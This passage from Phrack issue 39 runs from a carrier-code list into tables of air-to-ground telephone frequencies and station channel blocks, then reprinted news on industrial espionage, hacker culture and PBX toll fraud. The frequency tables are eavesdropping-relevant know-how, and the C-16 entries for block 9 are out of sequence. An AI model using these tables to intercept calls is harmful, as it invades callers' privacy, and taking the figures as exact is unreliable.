950 MCI MCI TELECOMMUNICATIONS CORPORATION

951 BML PHONE AMERICA

952 ATX AT&T‑C

955 MCI MCI TELECOMMUNICATIONS CORPORATION

960 CNO COMTEL OF NEW ORLEANS

962 ATX AT&T‑C

963 SOC STATE OF CALIFORNIA

964 MCI MCI TELECOMMUNICATIONS CORPORATION

965 TLX TMC OF LEXINGTON

966 TDX CABLE & WIRELESS COMMUNICATIONS

967 MCI MCI TELECOMMUNICATIONS CORPORATION

968 TED TELEDIAL AMERICA

969 TDX CABLE & WIRELESS COMMUNICATIONS

972 ATX AT&T‑C

980 VLW VALU‑LINE OF LONGVIEW, INC.

981 32P1 PUERTO RICO TELEPHONE

982 ATX AT&T‑C

983 WUT WESTERN UNION TELEGRAPH CO.

986 WUT WESTERN UNION TELEGRAPH CO.

987 BTL BITTEL TELECOMMUNICATIONS CORPORATION

988 TDD MCI / TELECONNECT

989 TDX CABLE & WIRELESS COMMUNICATIONS

990 FEB FEB CORPORATION

992 ATX AT&T‑C

993 LKS ?

996 VOA VALU‑LINE

999 MCI MCI TELECOMMUNICATIONS CORPORATION

Air Fone Frequencies

==Phrack Inc.==

Volume Four, Issue Thirty‑Nine, File 8 of 13

Air Fone Frequencies

by Leroy Donnelly

Leroy.Donnelly@IVGATE.OMAHUG.ORG

This is a quick file on the subject of what frequencies are used for Air Fone Telephone while in‑flight air‑to‑ground. The following should give you some an understanding of how it all works.

The FCC has issued rules on allocation of the 849‑851/894‑895 MHz bands for air‑ground radiotelephone service.

The most recent action was effective September 9, 1991:

1) Changed channel spacing from GTE Airfone Inc.'s de facto standards;

2) Ordered GTE to make its service available to other air‑ground licensees at non‑discriminatory rates;

3) Divided each channel block into 6 control channels (P‑1 through P‑6) and 29 communications channels (C‑1 through C‑29);

4) Provided for a communications channel bandwidth of 6 kHz;

5) Gave GTE 22 months to modify its current control channel scheme; during this period, GTE can use the lower 20 kHz of each channel block, which includes channels C‑1, C‑2, and C‑3, for control. GTE then has another 38 months during which it can only use a 3.2 kHz control channel in channel C‑2 of each channel block. After these transition periods end (September of 1996), GTE must switch to control channels marked P‑1 through P‑6 in the tables below;

6) Empowered the FCC to assign exclusively one control channel to each air‑ground licensee;

7) Limited the ERP of airborne stations to 30 watts maximum; and that of ground stations to 100 watts maximum;

8) Limited the ERP of ground stations to 1 watt when communicating with aircraft on the ground.

GROUND TO AIR CHANNELS

(NOTE: "GB" in these listings denotes Guard Band, a series of 3 kHz spacings to separate communications channels from control channels.)

CH. # CHANNEL BLOCK

10 9 8 7 6

C‑1 849.0055 849.2055 849.4055 849.6055 849.8055

C‑2 849.0115 849.2115 849.4115 849.6115 849.8115

C‑3 849.0175 849.2175 849.4175 849.6175 849.8175

C‑4 849.0235 849.2235 849.4235 849.6235 849.8235

C‑5 849.0295 849.2295 849.4295 849.6295 849.8295

C‑6 849.0355 849.2355 849.4355 849.6355 849.8355

C‑7 849.0415 849.2415 849.4415 849.6415 849.8415

C‑8 849.0475 849.2475 849.4475 849.6475 849.8475

C‑9 849.0535 849.2535 849.4535 849.6535 849.8535

C‑10 849.0595 849.2595 849.4595 849.6595 849.8595

C‑11 849.0655 849.2655 849.4655 849.6655 849.8655

C‑12 849.0715 849.2715 849.4715 849.6715 849.8715

C‑13 849.0775 849.2775 849.4775 849.6775 849.8775

C‑14 849.0835 849.2835 849.4835 849.6835 849.8835

C‑15 849.0895 849.2895 849.4895 849.6895 849.8895

C‑16 849.0955 849.2855 849.4955 849.6955 849.8955

C‑17 849.1015 849.3015 849.5015 849.7015 849.9015

C‑18 849.1075 849.3075 849.5075 849.7075 849.9075

C‑19 849.1135 849.3135 849.5135 849.7135 849.9135

C‑20 849.1195 849.3195 849.5195 849.7195 849.9195

C‑21 849.1255 849.3255 849.5255 849.7255 849.9255

C‑22 849.1315 849.3315 849.5315 849.7315 849.9315

C‑23 849.1375 849.3375 849.5375 849.7375 849.9375

C‑24 849.1435 849.3435 849.5435 849.7435 849.9435

C‑25 849.1495 849.3495 849.5495 849.7495 849.9495

C‑26 849.1555 849.3555 849.5555 849.7555 849.9555

C‑27 849.1615 849.3615 849.5615 849.7615 849.9615

C‑28 849.1675 849.3675 849.5675 849.7675 849.9675

C‑29 849.1735 849.3735 849.5735 849.7735 849.9735

GB 849.1765 849.3765 849.5765 849.7765 849.9765 to to to to to 849.1797 849.3797 849.5797 849.7797 849.9797

P‑6 849.1813 849.3813 849.5813 849.7813 849.9813

P‑5 849.1845 849.3845 849.5845 849.7845 849.9845

P‑4 849.1877 849.3877 849.5877 849.7877 849.9877

P‑3 849.1909 849.3909 849.5909 849.7909 849.9909

P‑2 849.1941 849.3941 849.5941 849.7941 849.9941

P‑1 849.1973 849.3973 849.5973 849.7973 849.9973

5 4 3 2 1

C‑1 850.0055 850.2055 850.4055 850.6055 850.8055

C‑2 850.0115 850.2115 850.4115 850.6115 850.8115

C‑3 850.0175 850.2175 850.4175 850.6175 850.8175

C‑4 850.0235 850.2235 850.4235 850.6235 850.8235

C‑5 850.0295 850.2295 850.4295 850.6295 850.8295

C‑6 850.0355 850.2355 850.4355 850.6355 850.8355

C‑7 850.0415 850.2415 850.4415 850.6415 850.8415

C‑8 850.0475 850.2475 850.4475 850.6475 850.8475

C‑9 850.0535 850.2535 850.4535 850.6535 850.8535

C‑10 850.0595 850.2595 850.4595 850.6595 850.8595

C‑11 850.0655 850.2655 850.4655 850.6655 850.8655

C‑12 850.0715 850.2715 850.4715 850.6715 850.8715

C‑13 850.0775 850.2775 850.4775 850.6775 850.8775

C‑14 850.0835 850.2835 850.4835 850.6835 850.8835

C‑15 850.0895 850.2895 850.4895 850.6895 850.8895

C‑16 850.0955 850.2855 850.4955 850.6955 850.8955

C‑17 850.1015 850.3015 850.5015 850.7015 850.9015

C‑18 850.1075 850.3075 850.5075 850.7075 850.9075

C‑19 850.1135 850.3135 850.5135 850.7135 850.9135

C‑20 850.1195 850.3195 850.5195 850.7195 850.9195

C‑21 850.1255 850.3255 850.5255 850.7255 850.9255

C‑22 850.1315 850.3315 850.5315 850.7315 850.9315

C‑23 850.1375 850.3375 850.5375 850.7375 850.9375

C‑24 850.1435 850.3435 850.5435 850.7435 850.9435

C‑25 850.1495 850.3495 850.5495 850.7495 850.9495

C‑26 850.1555 850.3555 850.5555 850.7555 850.9555

C‑27 850.1615 850.3615 850.5615 850.7615 850.9615

C‑28 850.1675 850.3675 850.5675 850.7675 850.9675

C‑29 850.1735 850.3735 850.5735 850.7735 850.9735

GB 850.1765 850.3765 850.5765 850.7765 850.9765 to to to to to 850.1797 850.3797 850.5797 850.7797 850.9797

P‑6 850.1813 850.3813 850.5813 850.7813 850.9813

P‑5 850.1845 850.3845 850.5845 850.7845 850.9845

P‑4 850.1877 850.3877 850.5877 850.7877 850.9877

P‑3 850.1909 850.3909 850.5909 850.7909 850.9909

P‑2 850.1941 850.3941 850.5941 850.7941 850.9941

P‑1 850.1973 850.3973 850.5973 850.7973 850.9973

AIR TO GROUND CHANNELS

CH. # CHANNEL BLOCK

10 9 8 7 6

C‑1 894.0055 894.2055 894.4055 894.6055 894.8055

C‑2 894.0115 894.2115 894.4115 894.6115 894.8115

C‑3 894.0175 894.2175 894.4175 894.6175 894.8175

C‑4 894.0235 894.2235 894.4235 894.6235 894.8235

C‑5 894.0295 894.2295 894.4295 894.6295 894.8295

C‑6 894.0355 894.2355 894.4355 894.6355 894.8355

C‑7 894.0415 894.2415 894.4415 894.6415 894.8415

C‑8 894.0475 894.2475 894.4475 894.6475 894.8475

C‑9 894.0535 894.2535 894.4535 894.6535 894.8535

C‑10 894.0595 894.2595 894.4595 894.6595 894.8595

C‑11 894.0655 894.2655 894.4655 894.6655 894.8655

C‑12 894.0715 894.2715 894.4715 894.6715 894.8715

C‑13 894.0775 894.2775 894.4775 894.6775 894.8775

C‑14 894.0835 894.2835 894.4835 894.6835 894.8835

C‑15 894.0895 894.2895 894.4895 894.6895 894.8895

C‑16 894.0955 894.2855 894.4955 894.6955 894.8955

C‑17 894.1015 894.3015 894.5015 894.7015 894.9015

C‑18 894.1075 894.3075 894.5075 894.7075 894.9075

C‑19 894.1135 894.3135 894.5135 894.7135 894.9135

C‑20 894.1195 894.3195 894.5195 894.7195 894.9195

C‑21 894.1255 894.3255 894.5255 894.7255 894.9255

C‑22 894.1315 894.3315 894.5315 894.7315 894.9315

C‑23 894.1375 894.3375 894.5375 894.7375 894.9375

C‑24 894.1435 894.3435 894.5435 894.7435 894.9435

C‑25 894.1495 894.3495 894.5495 894.7495 894.9495

C‑26 894.1555 894.3555 894.5555 894.7555 894.9555

C‑27 894.1615 894.3615 894.5615 894.7615 894.9615

C‑28 894.1675 894.3675 894.5675 894.7675 894.9675

C‑29 894.1735 894.3735 894.5735 894.7735 894.9735

GB 894.1765 894.3765 894.5765 894.7765 894.9765 to to to to to 894.1797 894.3797 894.5797 894.7797 894.9797

P‑6 894.1813 894.3813 894.5813 894.7813 894.9813

P‑5 894.1845 894.3845 894.5845 894.7845 894.9845

P‑4 894.1877 894.3877 894.5877 894.7877 894.9877

P‑3 894.1909 894.3909 894.5909 894.7909 894.9909

P‑2 894.1941 894.3941 894.5941 894.7941 894.9941

P‑1 894.1973 894.3973 894.5973 894.7973 894.9973

5 4 3 2 1

C‑1 895.0055 895.2055 895.4055 895.6055 895.8055

C‑2 895.0115 895.2115 895.4115 895.6115 895.8115

C‑3 895.0175 895.2175 895.4175 895.6175 895.8175

C‑4 895.0235 895.2235 895.4235 895.6235 895.8235

C‑5 895.0295 895.2295 895.4295 895.6295 895.8295

C‑6 895.0355 895.2355 895.4355 895.6355 895.8355

C‑7 895.0415 895.2415 895.4415 895.6415 895.8415

C‑8 895.0475 895.2475 895.4475 895.6475 895.8475

C‑9 895.0535 895.2535 895.4535 895.6535 895.8535

C‑10 895.0595 895.2595 895.4595 895.6595 895.8595

C‑11 895.0655 895.2655 895.4655 895.6655 895.8655

C‑12 895.0715 895.2715 895.4715 895.6715 895.8715

C‑13 895.0775 895.2775 895.4775 895.6775 895.8775

C‑14 895.0835 895.2835 895.4835 895.6835 895.8835

C‑15 895.0895 895.2895 895.4895 895.6895 895.8895

C‑16 895.0955 895.2855 895.4955 895.6955 895.8955

C‑17 895.1015 895.3015 895.5015 895.7015 895.9015

C‑18 895.1075 895.3075 895.5075 895.7075 895.9075

C‑19 895.1135 895.3135 895.5135 895.7135 895.9135

C‑20 895.1195 895.3195 895.5195 895.7195 895.9195

C‑21 895.1255 895.3255 895.5255 895.7255 895.9255

C‑22 895.1315 895.3315 895.5315 895.7315 895.9315

C‑23 895.1375 895.3375 895.5375 895.7375 895.9375

C‑24 895.1435 895.3435 895.5435 895.7435 895.9435

C‑25 895.1495 895.3495 895.5495 895.7495 895.9495

C‑26 895.1555 895.3555 895.5555 895.7555 895.9555

C‑27 895.1615 895.3615 895.5615 895.7615 895.9615

C‑28 895.1675 895.3675 895.5675 895.7675 895.9675

C‑29 895.1735 895.3735 895.5735 895.7735 895.9735

GB 895.1765 895.3765 895.5765 895.7765 895.9765 to to to to to 895.1797 895.3797 895.5797 895.7797 895.9797

P‑6 895.1813 895.3813 895.5813 895.7813 895.9813

P‑5 895.1845 895.3845 895.5845 895.7845 895.9845

P‑4 895.1877 895.3877 895.5877 895.7877 895.9877

P‑3 895.1909 895.3909 895.5909 895.7909 895.9909

P‑2 895.1941 895.3941 895.5941 895.7941 895.9941

P‑1 895.1973 895.3973 895.5973 895.7973 895.9973

GEOGRAPHICAL CHANNEL BLOCK LAYOUT

(Ground stations using the same channel block must be at least 300 miles apart)

LOCATION CH. BLOCK

ALASKA

Anchorage 8

Cordova 5

Ketchikan 5

Juneau 4

Sitka 7

Yakutat 8

ALABAMA

Birmingham 2

ARIZONA

Phoenix 4

Winslow 6

ARKANSAS

Pine Bluff 8

CALIFORNIA

Blythe 10

Eureka 8

Los Angeles 4

Oakland 1

S. San Fran. 6

Visalia 7

COLORADO

Colorado Spgs. 8

Denver 1

Hayden 6

FLORIDA

Miami 4

Orlando 2

Tallahassee 7

GEORGIA

Atlanta 5

St. Simons Is. 6

HAWAII

Mauna Kapu 5

IDAHO

Blackfoot 8

Caldwell 10

ILLINOIS

Chicago 3

Kewanee 5

Schiller Park 2

INDIANA

Fort Wayne 7

IOWA

Des Moines 1

KANSAS

Garden City 3

Wichita 7

KENTUCKY

Fairdale 6

LOUISIANA

Kenner 3

Shreveport 5

MASSACHUSETTS

Boston 7

MICHIGAN

Bellville 8

Flint 9

Sault S. Marie 6

MINNESOTA

Bloomington 9

MISSISSIPPI

Meridian 9

MISSOURI

Kansas City 6

St. Louis 4

Springfield 9

MONTANA

Lewistown 5

Miles City 8

Missoula 3

NEBRASKA

Grand Island 2

Ogallala 4

NEVADA

Las Vegas 1

Reno 3

Tonopah 9

Winnemucca 4

NEW MEXICO

Alamogordo 8

Albuquerque 10

Aztec 9

Clayton 5

NEW JERSEY

Woodbury 3

NEW YORK

E. Elmhurst 1

Schuyler 2

Staten Island 9

NORTH CAROLINA

Greensboro 9

Wilmington 3

NORTH DAKOTA

Dickinson 7

OHIO

Pataskala 1

OKLAHOMA

Warner 4

Woodward 9

OREGON

Albany 5

Klamath Falls 2

Pendleton 7

PENNSYLVANIA

Coraopolis 4

New Cumberland 8

SOUTH CAROLINA

Charleston 4

SOUTH DAKOTA

Aberdeen 6

Rapid City 5

TENNESSEE

Elizabethton 7

Memphis 10

Nashville 3

TEXAS

Austin 2

Bedford 1

Houston 9

Lubbock 7

Monahans 6

UTAH

Abajo Peak 7

Delta 2

Escalante 5

Green River 3

Salt Lake City 1

VIRGINIA

Arlington 6

WASHINGTON

Seattle 4

Cheney 1

WEST VIRGINIA

Charleston 2

WISCONSIN

Stevens Point 8

WYOMING

Riverton 9

The Open Barn Door

==Phrack Inc.==

Volume Four, Issue Thirty‑Nine, File 9 of 13

THE OPEN BARN DOOR

U.S. Firms Face A Wave Of Foreign Espionage

By Douglas Waller

Newsweek, May 4, 1992, Page 58

It's tough enough these days for American companies to compete with their Pacific Rim rivals, even when the playing field is level. It's a lot tougher when your trade secrets are peddled by competitors. One Dallas computer maker, for example, recently spotted its sensitive pricing information in the bids of a South Korean rival. The firm hired a detective agency, Phoenix Investigations, which found an innocent‑looking plastic box in a closet at its headquarters. Inside was a radio transmitter wired to a cable connected to a company fax machine. The bug had been secretly installed by a new worker ‑‑ a mole planted by the Korean company. "American companies don't believe this kind of stuff can happen," says Phoenix president Richard Aznaran. "By the time they come to us the barn door is wide open."

Welcome to a world order where profits have replaced missiles as the currency of power. Industrial espionage isn't new, and it isn't always illegal, but as firms develop global reach, they are acquiring new vulnerability to economic espionage. In a survey by the American Society for Industrial Security last year, 37 percent of the 165 U.S. firms responding said they had been targets of spying. The increase has been so alarming that both the CIA and the FBI have beefed up their economic counterintelligence programs. The companies are mounting more aggressive safeguards, too. Kellog Company has halted public tours at its Battle Creek, Michigan, facility because spies were slipping in to photograph equipment. Eastman Kodak Company classifies documents, just like the government. Lotus Development Corporation screens cleaning crews that work at night. "As our computers become smaller, it's easier for someone to walk off with one," says Lotus spokesperson Rebecca Seel.

To be sure, some U.S. firms have been guilty of espionage themselves ‑though they tend not to practice it overseas, because foreign companies have a tighter hold on their secrets. And American companies now face an additional hazard: The professional spy services of foreign nations. "We're finding intelligence organizations from countries we've never looked at before who are active in the U.S.," says the FBI's R. Patrick Watson. Foreign intelligence agencies traditionally thought friendly to the United States "are trying to plant moles in American high‑tech companies [and] search the briefcases of American business men traveling overseas," warns CIA Director Robert Gates. Adds Noell Matchett, a former National Security Agency official: "What we've got is this big black hole of espionage going on all over the world and a naive set of American business people being raped."

No one knows quite how much money U.S. businesses lost to this black hole. Foreign governments refuse to comment on business intelligence they collect. The victims rarely publicize the espionage or report it to authorities for fear of exposing vulnerabilities to stockholders. But more than 30 companies and security experts NEWSWEEK contacted claimed billions of dollars are lost annually from stolen trade secrets and technology. This week a House Judiciary subcommittee is holding hearings to assess the damage. IBM, which has been targeted by French and Japanese intelligence operations, estimates $1 billion lost from economic espionage and software piracy. IBM won't offer specifics, but says that the espionage "runs the gamut from items missing off loading docks to people looking over other people's shoulders in airplanes."

Most brazen: France's intelligence service, the Direction Generale de la Securite Exterieure (DGSE), has been the most brazen about economic espionage, bugging seats of businessmen flying on airliners and ransacking their hotel rooms for documents, say intelligence sources. Three years ago the FBI delivered private protests to Paris after it discovered DGSE agents trying to infiltrate European branch offices of IBM and Texas Instruments to pass secrets to a French competitor. The complaint fell on deaf ears. The French intelligence budget was increased 9 percent this year, to enable the hiring of 1,000 new employees. A secret CIA report recently warned of French agents roaming the United States looking for business secrets. Intelligence sources say the French Embassy in Washington has helped French engineers spy on the stealth technology used by American warplane manufacturers. "American businessmen who stay in Paris hotels should still assume that the contents of their briefcases will be photocopied," says security consultant Paul Joyal. DGSE officials won't comment.

The French are hardly alone in business spying. NSA officials suspect British intelligence of monitoring the overseas phone calls of American firms. Investigators who just broke up a kidnap ring run by former Argentine intelligence and police officials suspect the ring planted some 500 wiretaps on foreign businesses in Buenos Aires and fed the information to local firms. The Ackerman Group Inc., a Miami consulting firm that tracks espionage, recently warned clients about Egyptian intelligence agents who break into the hotel rooms of visiting execs with "distressing frequency."

How do the spies do it? Bugs and bribes are popular tools. During a security review of a U.S. manufacturer in Hong Kong, consultant Richard Hefferman discovered that someone had tampered with the firm's phone‑switching equipment in a closet. He suspects that agents posing as maintenance men sneaked into the closet and reprogrammed the computer routing phone calls so someone outside the building ‑‑ Heffernan never determined who ‑‑ could listen in simply by punching access codes into his phone. Another example: After being outbid at the last minute by a Japanese competitor, a Midwestern heavy manufacturer hired Parvus Company, a Maryland security firm made up mostly of former CIA and NSA operatives. Parvus investigators found that the Japanese firm had recruited one of the manufacturer's midlevel managers with a drug habit to pass along confidential bidding information.

Actually, many foreign intelligence operations are legal. "The science and technology in this country is theirs for the taking so they don't even have to steal it," says Michael Sekora of Technology Strategic Planning, Inc. Take company newsletters, which are a good source of quota data. With such information in hand, a top agent can piece together production rates. American universities are wide open, too: Japanese engineers posing as students feed back to their home offices information on school research projects. "Watch a Japanese tour team coming through a plant or convention," says Robert Burke with Monsanto Company. "They video everything and pick up every sheet of paper."

Computer power: In the old days a business spy visited a bar near a plant to find loose‑lipped employees. Now all he needs is a computer, modem and phone. There are some 10,000 computer bulletin boards in the United States ‑informal electronic networks that hackers, engineers, scientists and government bureaucrats set up with their PCs to share business gossip, the latest research on aircraft engines, even private White House phone numbers.

An agent compiles a list of key words for the technology he wants, which trigger responses from bulletin boards. Then, posing as a student wanting information, he dials from his computer the bulletin boards in a city where the business is located and "finds a Ph.D. who wants to show off," says Thomas Sobczak of Application Configured Computers, Inc. Sobczak once discovered a European agent using a fake name who posed questions about submarine engines to a bulletin board near Groton, Connecticut. The same questions, asked under a different hacker's name, appeared on bulletin boards in Charleston, South Carolina, and Bremerton, Washington. Navy submarines are built or based at all three cities.

Using information from phone intercepts, the NSA occasionally tips off U.S. firms hit by foreign spying. In fact, Director Gates has promised he'll do more to protect firms from agents abroad by warning them of hostile penetrations. The FBI has expanded its economic counterintelligence program. The State Department also has begun a pilot program with 50 Fortune 500 companies to allow their execs traveling abroad to carry the same portable secure phones that U.S. officials use.

But U.S. agencies are still groping for a way to join the business spy war. The FBI doesn't want companies to have top‑of‑the‑line encryption devices for fear the bureau won't be able to break their codes to tap phone calls in criminal investigations. And the CIA is moving cautiously because many of the foreign intelligence services "against whom you're going to need the most protection tend to be its closest friends," says former CIA official George Carver. Even American firms are leery of becoming too cozy with their government's agents. But with more foreign spies coming in for the cash, American companies must do more to protect their secrets.

How the Spies Do It

MONEY TALKS

Corporate predators haven't exactly been shy about greasing a few palms. In some cases they glean information simply by bribing American employees. In others, they lure workers on the pretense of hiring them for an important job, only to spend the interview pumping them for information. If all else fails, the spies simply hire the employees away to get at their secrets, and chalk it all up to the cost of doing business.

STOP, LOOK, LISTEN

A wealth of intelligence is hidden in plain sight ‑‑ right inside public records such as stockholder reports, newsletters, zoning applications and regulatory filings. Eavesdropping helps, too. Agents can listen to execs' airplane conversations from six seats away. Some sponsor conferences and invite engineers to present papers. Japanese businessmen are famous for vacuuming up handouts at conventions and snapping photos on plant tours.

BUGS

Electronic transmitters concealed inside ballpoint pens, pocket calculators and even wall paneling can broadcast conversations in sensitive meetings. Spies can have American firms' phone calls rerouted from the switching stations to agents listening in. Sometimes, they tap cables attached to fax machines.

HEARTBREAK HOTEL

Planning to leave your briefcase back at the hotel? The spooks will love you. One of their ploys is to sneak into an room, copy documents and pilfer computer disks. Left your password sitting around? Now they have entry to your company's entire computer system.

PWN/Part 1

==Phrack Inc.==

Volume Four, Issue Thirty‑Nine, File 10 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXIX / Part One of Four PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

To Some Hackers, Right And Wrong Don't Compute May 11, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Bruce V. Bigelow (San Diego Union‑Tribune)

Special Thanks to Ripper of HALE

The telephone call was anonymous, and the young, male voice was chatty and nonchalant. He wanted to explain a few things about hacking, the black art of tapping into private computers.

He was one of several hackers to call, both frightened and intrigued by a San Diego police investigation into an informal network of computer criminals using high‑tech methods to make fraudulent credit‑card purchases. Detectives have seized a personal computer and other materials, and arrests are pending in San Diego and other parts of the country.

"Half the time, it's feeding on people's stupidity," the anonymous hacker said, boasting that most computers can be cracked as easily as popping a beer.

Hackers seem full of such bravado. In their electronic messages and in interviews, they exaggerate and swagger.

One message traveling the clandestine network notes: "This text file contains extremely damaging material about the American Express account making algorithm. I do not commit credit card fraud. I just made up this scheme because I was bored.

They form groups with names like "Legion of Doom" and "Masters of Deception," and give themselves nicknames like Phiber Optik, Video Vindicator and Outlaw. They view themselves as members of a computer underground, rife with cat‑andmouse intrigue.

For the most part, they are bring teenagers who are coming of age in a computer‑crazy world. Perhaps a generation ago, they tested their antiauthoritarian moxie by shoplifting or stripping cars. But, as it has with just about everything else, the computer has made teenage rebellion easier.

Nowadays, a teenager tapping on a keyboard in the comfort of his bedroom can trespass on faraway corporate computers, explore credit files and surf coastto‑coast on long‑distance telephone lines.

San Diego police say that gathering details from computerized files as creditreporting agencies, hackers around the country have racked up millions of dollars in fraudulent charges ‑‑ a trick known as "carding."

Conventual notions of right and wrong seem to go fuzzy in the ethereal realm that hackers call cyberspace, and authorities say the number of crimes committed by computer is exploding nationwide.

Like many hackers, the callers says he's paranoid. He won't give his name and refuses to meed in person. Now a college student in San Diego, he says, he began hacking when he was 13, collecting data by computer like a pack rat.

"I wanted to know how to make a bomb," he said with a laugh.

Like other hackers, he believes their strange underground community is misunderstood and maligned. Small wonder.

They speak a specialized jargon of colons, slashes and equal signs. They work compulsively ‑‑ sometimes obsessively ‑‑ to decipher and decode, the hacker equivalent of breaking and entering. They exploit loopholes and flaws so they can flaunt their techno‑prowess.

"The basis of worth is what you know," the hacker says. "You'll hear the term 'lame' slung around a lot, especially if someone can't do too much."

They exchange credit‑card numbers by electronic mail and on digital bulletin boards set up on personal computers. They trade computer access codes, passwords, hacking techniques and other information.

But it's not as if everyone is a criminal, the anonymous hacker says. What most people don't realize, he say, is how much information is out there ‑"and some people want things for free, you know?"

The real question for a hacker, he says, is what you do with the information once you've got it. For some, restraint is a foreign concept.

RICH IN LORE

Barely 20 years old, the history of hacking already is rich in lore.

For example, John Draper gained notoriety by accessing AT&T long distance telephone lines for free by blowing a toy whistle from a bod of Cap'n Crunch cereal into the telephone.

Draper, who adopted "Captain Crunch" as his hacker nickname, improved on the whistle with an electronic device that duplicated the flute like, rapid‑fire pulses of telephone tones.

Another living legend among hackers is a New York youth known as "Phiber Optik."

"The guy has got a photographic memory,' said Craig Neidorf of Washington, who co‑founded an underground hacker magazine called Phrack. "He knows everything. He can get into anything."

Phiber Optik demonstrated his skills during a conference organized by Harper's Magazine, which invited some of the nation's best hackers to "log on" and discuss hacking in an electronic forum. Harper's published a transcript of the 11‑day discussion in it's March 1990 issue.

One of the participants, computer expert John Perry Barlow, insulted Phiber Optik by saying some hackers are distinguished less by their intelligence than by their alienation.

"Trade their modems for skateboards and only a slight conceptual shift would occur," Barlow tapped out in his message.

Phiber Optik replied 13 minutes later by transmitting a copy of Barlow's personal credit history, which Harper's editors noted apparently was obtained by hacking into TRW's computer records.

For people like Emmanuel Goldstein, true hacking is like a high‑tech game of chess. The game is in the mind, but the moves are played out across a vast electronic frontier.

"You're not going to stop hackers from trying to find out things," said Goldstein, who publishes 2600 Magazine, the hacker quarterly, in Middle Island, New York.

"We're going to be trying to read magnetic strips on cards," Goldstein said. "We're going to try to figure out how password schemes work. That's not going to change. What has to change is the security measures that companies have to take."

ANGELHEADED HIPSTERS

True hackers see themselves, in the words of poet Allen Ginsberg, as "Angelheaded hipsters burning for the ancient heavenly connection to the starry dynamo in the machinery of night." These very words were used by Lee Felsenstein, designer of the Osborne‑1 computer and co‑founder of the Homebrew Computer Club.

But security consultants and law enforcement officials say malicious hackers can visit havoc upon anyone with a credit card or driver's license.

"Almost none of it, I would say less than 10 percent, has anything to do with intellectual exploration," said Gail Thackeray, a Phoenix prosecutor who has specialized in computer crimes. "It has to do with defrauding people and getting stuff you want without paying for it."

Such crimes have mushroomed as personal computers have become more affordable and after the break up of AT&T made it more difficult to trace telephone calls, Thackeray said.

Even those not motivated by financial gain show a ruthlessness to get what they want, Thackeray said.

"They'll say the true hacker never damages the system he's messing with," Thackeray said, "but he's willing to risk it."

Science‑fiction writer Bruce Sterling said he began getting anonymous calls from hackers after an article he wrote about the "CyberView 91" hacker convention was published in Details Magazine in October.

The caller's were apparently displeased with Sterling's article, which noted, among other things, that the bustling convention stopped dead for the season's final episode of "Star Trek: The Next Generation."

"They were giving me some lip," Sterling said. They showered him with invective and chortled about details from Sterling's personal credit history, which they had gleaned by computer.

They also gained access to Sterling's long distance telephone records, and made abusive calls to many people who has spoken to Sterling.

"Most of the news stories I read simplify the problem to the point of saying that a hacker is a hacker is a hacker," said Donn Parker, a computer security consultant with SRI International in Menlo Park.

"In real life, what we're dealing with is a very broad spectrum of individuals," Parker says. "It goes all the way from 14‑year olds playing pranks on their friends to hardened juvenile delinquents, career criminals and international terrorists."

Yet true hackers have their own code of honor, Goldstein says. Computer trespassing is OK, for example, but altering or damaging the system is wrong.

Posing as a technician to flim‑flam access codes and passwords out of unsuspecting computers users is also OK. That's called "social engineering."

"They're simply exploring with what they've got, weather it's exploring a haunted house or tapping into a mainframe," Goldstein said.

"Once we figure things out, we share the information, and of course there are going to be those people that abuse that information," Goldstein added.

It is extremely easy to break into credit bureau computers, Goldstein says. But the privacy being violated belongs to individual Americans ‑‑ not credit bureaus.

If anything, credit bureaus should be held accountable for not providing better computer security, Goldstein argues.

________________________________________

Companies Fall Victim To Massive PBX Fraud April 20, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Barbara E. McMullen & John F. McMullen (Newsbytes)

NEW YORK CITY ‑‑ Appearing on the WBAI radio show "Off The Hook," New York State Police senior investigator Donald Delaney discussed the movement of organized crime groups into telecommunications fraud and warned the public of the dangers of such practices as "shoulder surfing."

Delaney said that corporations are being victimized to the tune of millions of dollars by unauthorized persons "outdialing" through their private branch exchanges (PBXs). He traced the case of Data Products, a computer peripheral firm, that did not even seem aware that calls could be routed from the outside through their switchboard to foreign countries. It was only, according to Delaney, when it received a monthly telephone bill of over $35,000 that it perceived a problem.

"It was at 5:10 PM on a certain date that Liriano finally, after weeks of trying, was able to obtain an outside dial tone on Data Products 800 number. Subsequent investigation showed that thousands of calls using a 9600 baud modem as well as manually placed calls had been made to the 800 number. At 7:30 the same evening, a call using the Data Products number was placed to the Dominican Republic from a telephone booth near Liriano's house. Within a few hours, calls were placed from phones all around the neighborhood ‑‑ and, within a week, calls began being placed from booths all around Manhattan," Delaney related.

Phiber Optik, another studio guest and a convicted computer intruder previously arrested by Delaney, commented, "I'm glad that Mr. Delaney didn't refer to these people as hackers, but identified them for what they are: Sleezy common criminals. What these people are doing requires no super computer knowledge nor desire to learn. They are simply using computers and telephones to steal."

Delaney agreed, saying, "The people actually selling the calls, on the street corner, in their apartments, or, in the case of cellular phones, in parked cars, don't have to know anything about the technology. They are given the necessary PBX numbers and codes by people higher up in the group and they just dial the numbers and collect the money. In the case of the re‑chipped or clone cellular phones, they don't even have to dial the numbers."

Delaney added, "These operations have become very organized very rapidly. I have arrested people that have printed revenue goals for the current month, next six months, and entire year ‑‑ just like any other franchise operation. I'm also currently investigating a murder of a call‑seller that I arrested last October. He was an independent trying to operate in a highly organized and controlled section of Queens. His pursuit of an independent career may well have been responsible for his death."

Off The Hook host Emmanuel Goldstein asked Delaney what responsibility that the PBX companies bear for what seems to be rather easy use of their systems for such activity. Delaney responded that he thought that the companies bear at least an ethical and moral responsibility to their clients to insure that they are aware of their exposure and the means that they must take to reduce the exposure. "As far as criminal and civil responsibility for the security of the system, there are no criminal statues that I am aware of that would hold the PBX companies criminally liable for failure to insure proper security. On the civil side, I think that the decision in the AT&T suit about this very topic will shed some light of legal responsibility."

Goldstein also brought up the difficulties that some independent "customerowned coin‑operated" telephones (COCOTs) cause for customers. "The charges are often exorbitant, access to AT&T via 10288 is sometimes blocked, there is not even the proper access to 911 on some systems, and some either block 800 calls or actually try to charge for the connection to the 800 numbers.

"We've even found COCOTs that, on collect calls, put the charges through when an answering machine picks up and the caller hangs up after realizing that no one is home. They are set up to start billing if a human voice is heard and the caller doesn't hang up within 5 or 10 seconds."

